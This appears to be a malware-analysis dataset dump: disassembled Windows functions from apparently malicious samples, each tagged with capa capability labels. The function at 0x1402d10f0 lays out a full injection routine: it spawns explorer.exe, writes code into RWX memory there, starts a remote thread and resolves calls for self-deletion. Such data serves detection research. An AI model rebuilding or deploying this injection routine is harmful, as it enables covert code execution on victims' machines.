joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003d8a0
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x14003da0a
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
mov ecx, dword [rax + 0x190]
mov edx, dword [rax + 0x194]
mov rsi, qword [rax + 0x998]
mov edi, dword [rax + 0x194]
cmp edi, edx
jne 0x14003d8b8
cmp edx, ecx
jne 0x14003d9f8
nop dword [rax]
test rsi, rsi
jne 0x14003d9f8
mov qword [rsp + 0x28], rax
test rbx, rbx
jne 0x14003d914
nop
call fcn.14005aee0
xorps xmm15, xmm15
mov r14, qword [0x140520a48]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rbx, qword [rsp]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x10], rbx
call fcn.14003d7a0
mov rcx, qword [0x1404cc598]
mov rdx, qword [0x1404cc590]
mov rbx, qword [rsp + 0x28]
mov esi, dword [rbx]
mov edi, esi
sar esi, 0x1f
shr esi, 0x1b
add esi, edi
mov r8d, esi
and esi, 0xffffffe0
sub edi, esi
test edi, edi
jl 0x14003d9f3
cmp edi, 0x20
sbb esi, esi
sar r8d, 5
mov rax, rcx
mov ecx, edi
mov r9d, 1
shl r9d, cl
and r9d, esi
movsxd rsi, r8d
cmp rax, rsi
jbe 0x14003d9e8
lea rcx, [rdx + rsi*4]
lock or dword [rcx], r9d
mov rcx, qword [0x1404cd410]
mov qword [rbx + 8], rcx
nop
mov rcx, rbx
mov qword [0x1404cd410], rbx
nop
mov edx, 1
lea rsi, [0x1404cd418]
lock xadd dword [rsi], edx
mov rdx, qword [rcx + 0x1220]
shr rdx, 0x3d
test dl, dl
jne 0x14003d9d7
nop
nop
mov rax, qword [rsp + 0x10]
movabs rdx, 0x1fffffffffffffff
and rdx, rax
bts rdx, 0x3f
xchg qword [rcx + 0x1220], rdx
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
lea rax, [0x1403700d3]
mov ebx, 0x28
call fcn.140031520
mov rcx, rax
mov rax, rsi
call fcn.140059520
call fcn.14002fe60
lea rax, [0x14036f9a4]
mov ebx, 0x23
call fcn.140031520
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.140056ea0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.14003d8a0
Function at 0x140048c80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x140048df8
movzx edx, byte [rax]
nop
test edx, edx
jne 0x140048cbc
test r8b, r8b
jne 0x140048cbc
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
bt edx, 7
jae 0x140048ccf
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x140048db8
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
cmp rbx, r8
jb 0x140048da6
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rcx
sar rcx, 0x3f
and r8, rcx
lea rsi, [rax + r8]
test rbx, rbx
jbe 0x140048d9c
movzx r8d, byte [rax + r8]
bt r8d, 7
jae 0x140048d23
xor eax, eax
xor ecx, ecx
xor r8d, r8d
jmp 0x140048d66
mov eax, 1
cmp rax, rbx
ja 0x140048d55
add qword [rdi], r8
sub rdx, rax
sub rbx, rax
mov rcx, rdx
neg rdx
sar rdx, 0x3f
and rax, rdx
add rax, rsi
mov edi, 1
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rcx, rbx
call fcn.1400595e0
lea r8d, [rcx + 7]
mov ecx, eax
mov eax, r10d
cmp rax, rbx
jae 0x140048d94
movzx r9d, byte [rax + rsi]
lea r10d, [rax + 1]
mov r11d, r9d
and r9d, 0x7f
mov eax, ecx
mov ecx, r8d
shl r9d, cl
or eax, r9d
test r11b, 0x80
jne 0x140048d5d
mov r8d, eax
mov eax, r10d
jmp 0x140048d28
mov rcx, rbx
call fcn.140059520
xor eax, eax
mov rcx, rax
call fcn.140059520
mov eax, r8d
mov rcx, rbx
call fcn.1400595e0
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x140048dee
movzx r10d, byte [rdx + rax]
inc edx
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
or r8d, r10d
test r11b, 0x80
jne 0x140048db1
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x140048cd5
mov eax, edx
mov rcx, rbx
call fcn.140059520
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.140059520
nop
int3
Function at 0x14004f0c0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x14004f179
sub rsp, 0x60
mov qword [rsp + 0x58], rbp
lea rbp, [rsp + 0x58]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rdx, [0x14004f1c0]
mov qword [rsp + 0x10], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x28], rdx
mov rdx, r14
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.140056d60
xorps xmm15, xmm15
mov r14, qword [0x140520a48]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x58]
add rsp, 0x60
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.140056ea0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.14004f0c0
Function at 0x140058fa0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x140520c00]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x140520792], 0
je 0x140058fd6
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x140520f80]
aesenc xmm0, xmmword [0x140520f90]
aesenc xmm0, xmmword [0x140520fa0]
movq rax, xmm0
ret
jmp 0x140009260
Function at 0x1402d10f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Self delete
Spawn thread to rwx shellcode

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x238
xor eax, eax
mov ecx, 0xd
xor r9d, r9d
xor r8d, r8d
lea rdx, str.explorer.exe
lea rdi, [rsp + 0x80]
rep stosq qword [rdi], rax
lea rax, [rsp + 0x60]
mov dword [rsp + 0x80], 0x68
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000044
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x1402d1188
xor r12d, r12d
mov eax, r12d
add rsp, 0x238
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov rcx, qword [rsp + 0x68]
mov rsi, qword [sym.imp.KERNEL32.DLL_CloseHandle]
call rsi
mov r12, qword [rsp + 0x60]
test r12, r12
je 0x1402d116c
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1b8
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1402d1330
lea rbp, [rax + 0x80]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov rbx, qword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea rdx, str.WaitForSingleObject
mov r13, rax
mov rcx, rax
call rbx
mov rcx, r13
lea rdx, str.CloseHandle
mov qword [rsp + 0xf8], rax
call rbx
mov rcx, r13
lea rdx, str.ExitProcess
mov qword [rsp + 0x100], rax
call rbx
mov rcx, r13
lea rdx, str.DeleteFileA
mov qword [rsp + 0x110], rax
call rbx
mov rcx, r13
lea rdx, str.Sleep
lea r13, [rsp + 0xf0]
mov qword [rsp + 0x108], rax
call rbx
mov qword [rsp + 0xf0], rax
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea r9, [rsp + 0x118]
mov r8, r12
mov dword [rsp + 0x30], 2
mov rcx, rax
mov rdx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_DuplicateHandle]
lea rdx, [rsp + 0x120]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov rcx, r12
mov rdx, rdi
mov rbx, qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov r9d, pe_nt_image_headers64
lea r8, [0x1402d1090]
mov qword [rsp + 0x20], 0
call rbx
mov rcx, r12
mov r9d, 0x138
mov r8, r13
mov qword [rsp + 0x20], 0
mov rdx, rbp
call rbx
lea rax, [rsp + 0x5c]
mov rcx, r12
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x5c], 0
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x30], rax
mov r12d, 1
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
mov rcx, rax
test rax, rax
je 0x1402d116f
call rsi
jmp 0x1402d116f
mov rcx, r12
call rsi
jmp 0x1402d116c
Function at 0x1402d6940
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1402e1b20
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1402e1b20
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x1402d69b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x140525774]
mov r12, rcx
test ebx, ebx
jle 0x1402d6ae0
mov rax, qword [0x140525778]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x1402d69fc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1402d6a83
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x1402d69e0
mov rcx, r12
call fcn.1402d7350
mov rsi, rax
test rax, rax
je 0x1402d6b02
mov rax, qword [0x140525778]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.1402d7480
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x140525778]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.DLL_VirtualQuery]
test rax, rax
je 0x1402d6ae7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1402d6a7c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1402d6a90
add dword [0x140525774], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x140525778]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
test eax, eax
jne 0x1402d6a7c
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1402d6940
nop dword [rax]
xor ebx, ebx
jmp 0x1402d6a07
mov rax, qword [0x140525778]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1402d6940
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1402d6940
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1402d6fc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1405257e0]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rbx, qword [0x1405257c0]
test rbx, rbx
je 0x1402d7014
mov rdi, qword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1402d700b
test r12, r12
je 0x1402d700b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1402d6ff0
lea rcx, [0x1405257e0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
Function at 0x1402d7350
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1404c6d40]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1402d7370
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1402d7378
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1402d7370
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x1402d73c5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1402d73bc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1402d7370
add rax, 0x28
cmp rax, r9
jne 0x1402d73a8
xor eax, eax
ret

Function at 0x1402d73d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1404c6d40]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1402d73f0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1402d73f8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x1402d73f0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x1402d7480
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1404c6d40]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1402d74a0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1402d74a8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x1402d8e40
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x1404c6dc0]
mov rax, qword [rsi]
test rax, rax
je 0x1402d8ed0
cmp qword [rax + 0x30], 0
jne 0x1402d8ef0
lea rbx, [0x140301728]
mov qword [rax + 0x30], rbx
call qword [sym.imp.KERNEL32.DLL_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [rsi]
test rax, rax
je 0x1402d8ea0
cmp qword [rax + 0x30], 0
jne 0x1402d8ec0
lea rdx, [0x140301728]
mov qword [rax + 0x30], rdx
mov rax, rdx
cmp dword [rax], 0xffffffff
je 0x1402e1cb0
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.1402ddd40
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x1402d8e82
test rax, rax
jne 0x1402d8ec0
call fcn.1402ddd40
nop dword [rax]
mov rax, qword [rax + 0x30]
jmp 0x1402d8e90
call fcn.1402ddd40
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x1402d8e60
test rax, rax
jne 0x1402d8ef0
call fcn.1402ddd40
nop dword [rax]
mov rbx, qword [rax + 0x30]
jmp 0x1402d8e6b
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
mov rax, qword [pe_dos_header]
ud2
Function at 0x1402d8f00
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x1402d9012
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x1402d8fea
add rax, 1
cmp rax, 0x6b
je 0x1402d9007
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x1402d8fe0
cmp edx, 0x6a
je 0x1402d9007
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x1402d8ffb
Function at 0x1402d9a20
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rsi, qword [0x1404c6dc0]
mov rax, qword [rsi]
test rax, rax
je 0x1402d9c10
cmp qword [rax + 0x28], 0
jne 0x1402d9bf8
lea rcx, [0x140525898]
cmp dword [rcx], 1
mov qword [rax + 0x28], rcx
je 0x1402d9c05
call fcn.1402d9030
mov rax, qword [rsi]
test rax, rax
je 0x1402d9aa0
cmp qword [rax + 0x30], 0
jne 0x1402d9ac0
lea rdx, [0x140301728]
mov qword [rax + 0x30], rdx
mov rax, rdx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov r12, rax
test rax, rax
je 0x1402d9ad4
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call fcn.1402ddd40
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x1402d9a70
test rax, rax
jne 0x1402d9ac0
call fcn.1402ddd40
nop dword [rax]
mov rax, qword [rax + 0x30]
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov r12, rax
test rax, rax
jne 0x1402d9a8e
call fcn.1402d8b70
cmp qword [0x140529050], 0
mov rbx, rax
je 0x1402d9a8e
test rax, rax
je 0x1402d9a8e
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx + 0x70], eax
mov edx, 1
call qword [sym.imp.KERNEL32.DLL_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call fcn.1402dfbe0
cmp eax, 1
je 0x1402d9c7d
mov rbp, qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.DLL_GetCurrentThread]
mov r12, rax
call rbp
mov dword [rsp + 0x30], 2
mov r8, rdi
mov rdx, r12
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_DuplicateHandle]
test eax, eax
je 0x1402e1cb6
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.DLL_GetThreadPriority]
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [rsi]
test rax, rax
je 0x1402d9c58
cmp qword [rax + 0x30], 0
je 0x1402d9c40
mov rax, qword [rax + 0x30]
mov ecx, dword [rax]
mov rdx, rbx
call qword [sym.imp.KERNEL32.DLL_TlsSetValue]
test eax, eax
je 0x1402e1cb6
mov r12, rbx
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rax + 0x28]
cmp dword [rcx], 1
jne 0x1402d9a5c
mov rax, qword [rsi]
jmp 0x1402d9a69
call fcn.1402ddd40
cmp qword [rax + 0x28], 0
mov rax, qword [rsi]
je 0x1402d9a48
test rax, rax
jne 0x1402d9bf8
call fcn.1402ddd40
mov rcx, qword [rax + 0x28]
cmp dword [rcx], 1
jne 0x1402d9a5c
jmp 0x1402d9a61
lea rdx, [0x140301728]
mov qword [rax + 0x30], rdx
mov rax, rdx
jmp 0x1402d9bce
call fcn.1402ddd40
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x1402d9c40
test rax, rax
jne 0x1402d9bca
call fcn.1402ddd40
jmp 0x1402d9bca
call fcn.1402d8f00
nop word cs:[rax + rax]
nop dword [rax]
mov rax, qword [0x1404c6dc0]
mov rdx, qword [rax]
lea rax, [0x1405258a8]
mov qword [rdx + 0x10], rax
ret
Function at 0x1402ddbc0
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
jne 0x1402ddbe0
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.DLL_FormatMessageA]
test eax, eax
jne 0x1402ddc28
call qword [sym.imp.KERNEL32.DLL_IsDebuggerPresent]
test eax, eax
je 0x1402ddbd4
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.DLL_LocalFree]
jmp 0x1402ddc15
Function at 0x1402ddd40
Capabilities:
Check mutex on windows

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
lea rdx, [0x140525980]
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x2c]
lea r9, [rsp + 0x30]
movzx eax, byte [rcx]
add rcx, 1
add rdx, 2
mov r8d, eax
and eax, 0xf
shr r8b, 4
add eax, 0x61
add r8d, 0x41
mov byte [rdx - 1], al
mov byte [rdx - 2], r8b
cmp rcx, r9
jne 0x1402ddd63
lea rax, [0x140525988]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x1a]
jmp 0x1402dddab
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x1402ddda8
lea rax, [0x1405259c0]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x19]
jmp 0x1402ddddb
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x1402dddd8
xor ecx, ecx
mov byte [0x1405259d9], 0x2d
movabs rax, 0x6161616161616161
movabs rdx, 0x6161616161616161
mov qword [0x1405259e2], rdx
lea r8, [0x140525980]
lea rbx, [0x1405259da]
mov qword [0x1405259f2], rdx
mov qword [0x140525a02], rdx
mov qword [0x140525a12], rdx
xor edx, edx
mov qword [0x1405259da], rax
mov qword [0x1405259ea], rax
mov qword [0x1405259fa], rax
mov qword [0x140525a0a], rax
mov byte [0x140525a1a], 0
call qword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
jne 0x1402ddfb6
lea rcx, [0x1405259c0]
call qword [sym.imp.KERNEL32.DLL_FindAtomA]
test ax, ax
jne 0x1402ddf01
lea rsi, [0x1405258c0]
lea r8, [0x140525a1a]
mov rax, rbx
lea ecx, [rbx + 0x40]
nop dword [rax]
mov edx, ecx
sub edx, eax
bt rsi, rdx
jae 0x1402ddead
mov byte [rax], 0x41
add rax, 1
cmp r8, rax
jne 0x1402ddea0
lea rcx, [0x1405259c0]
call qword [sym.imp.KERNEL32.DLL_AddAtomA]
test ax, ax
je 0x1402ddfa3
lea rcx, [0x1402ddc50]
mov qword [0x1405258c0], rsi
call sub.msvcrt.dll__onexit
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rax, qword [0x1405258c0]
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
mov r8d, 0x5b
lea rdx, [0x1405259c0]
movzx ecx, ax
call qword [sym.imp.KERNEL32.DLL_GetAtomNameA]
lea r8, [0x140525a1a]
xor edx, edx
lea r10d, [rbx + 0x40]
mov r11d, eax
mov r9d, 1
mov rax, rbx
test r11d, r11d
je 0x1402ddfd6
nop dword [rax]
cmp byte [rax], 0x41
jne 0x1402ddf53
mov ecx, r10d
mov rbx, r9
sub ecx, eax
shl rbx, cl
or rdx, rbx
add rax, 1
cmp r8, rax
jne 0x1402ddf40
mov rax, rdx
mov qword [0x1405258c0], rax
lea rsi, [0x1405258c0]
jmp 0x1402ddf79
cmp rdx, rsi
je 0x1402ddedf
mov rdx, rax
mov rax, qword [rax + 8]
test rax, rax
jne 0x1402ddf70
cmp rdx, rsi
je 0x1402ddedf
mov qword [rdx + 8], rsi
lea rcx, [0x1402ddc50]
call sub.msvcrt.dll__onexit
jmp 0x1402ddedf
lea rcx, str.failed_to_add_string_to_atom_table_n
call fcn.1402ddbc0
xor eax, eax
jmp 0x1402ddef8
lea rcx, str.failed_to_to_lock_creation_mutex_n
call fcn.1402ddbc0
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
lea rcx, str.failed_to_get_string_from_atom_n
call fcn.1402ddbc0
xor eax, eax
jmp 0x1402ddf5f
Function at 0x1401d58c4
Capabilities:
Encode data using base64

Disassembly:
lea r10, [r10 + rdi*2 - 0x6a]
xor r9d, esi
movzx eax, r8b
sub r9d, 0xb735ff25
movsx r11d, di
mov qword [rsp + rdi*4 - 0xdc], r11
xor r9d, 0x19847b29
call fcn.1401d338a
rol ecx, 1
mov edi, 0xf036ef87
mov qword [rsp + r8 - 0xc66e], 0x3381500f
dec byte [rsp + r8*2 - 0x18ce6]
lea ecx, [rcx + rdi - 0x522939f5]
setp al
rol ecx, 2
or eax, eax
mov qword [rsp + r8 - 0xc66e], rsi
xor dword [rsp + r8 - 0xc66e], ecx
add qword [rsp + r8*4 - 0x319f1], rax
mov rsi, qword [rsp + r8*2 - 0x18cec]
cmovs di, ax
mov qword [rsp + r8 - 0xc66e], rax
movsxd rcx, ecx
rol dword [rsp + r8 - 0xc67b], 0x35
shr byte [rsp + r8 - 0xc679], 5
push rdi
adc rbp, rcx
call fcn.1401f647d

Function at 0x1401d88f9
Capabilities:
Encode data using base64

Disassembly:
add r10, 4
call fcn.140206c57
mov eax, 0x2da1f0a5
mov edx, dword [rax + r9 - 0x2da1f0a5]
push rax
mov eax, dword [r9 + rax*2 - 0x5b43e146]
neg word [rsp + 1]
jbe 0x1401ecac4
mov ecx, 0xdd177920
mov ebx, dword [r9]
movsx r11d, cx
mov r11d, dword [r9 + r11 - 0x791c]
mov cl, byte [r9 + 8]
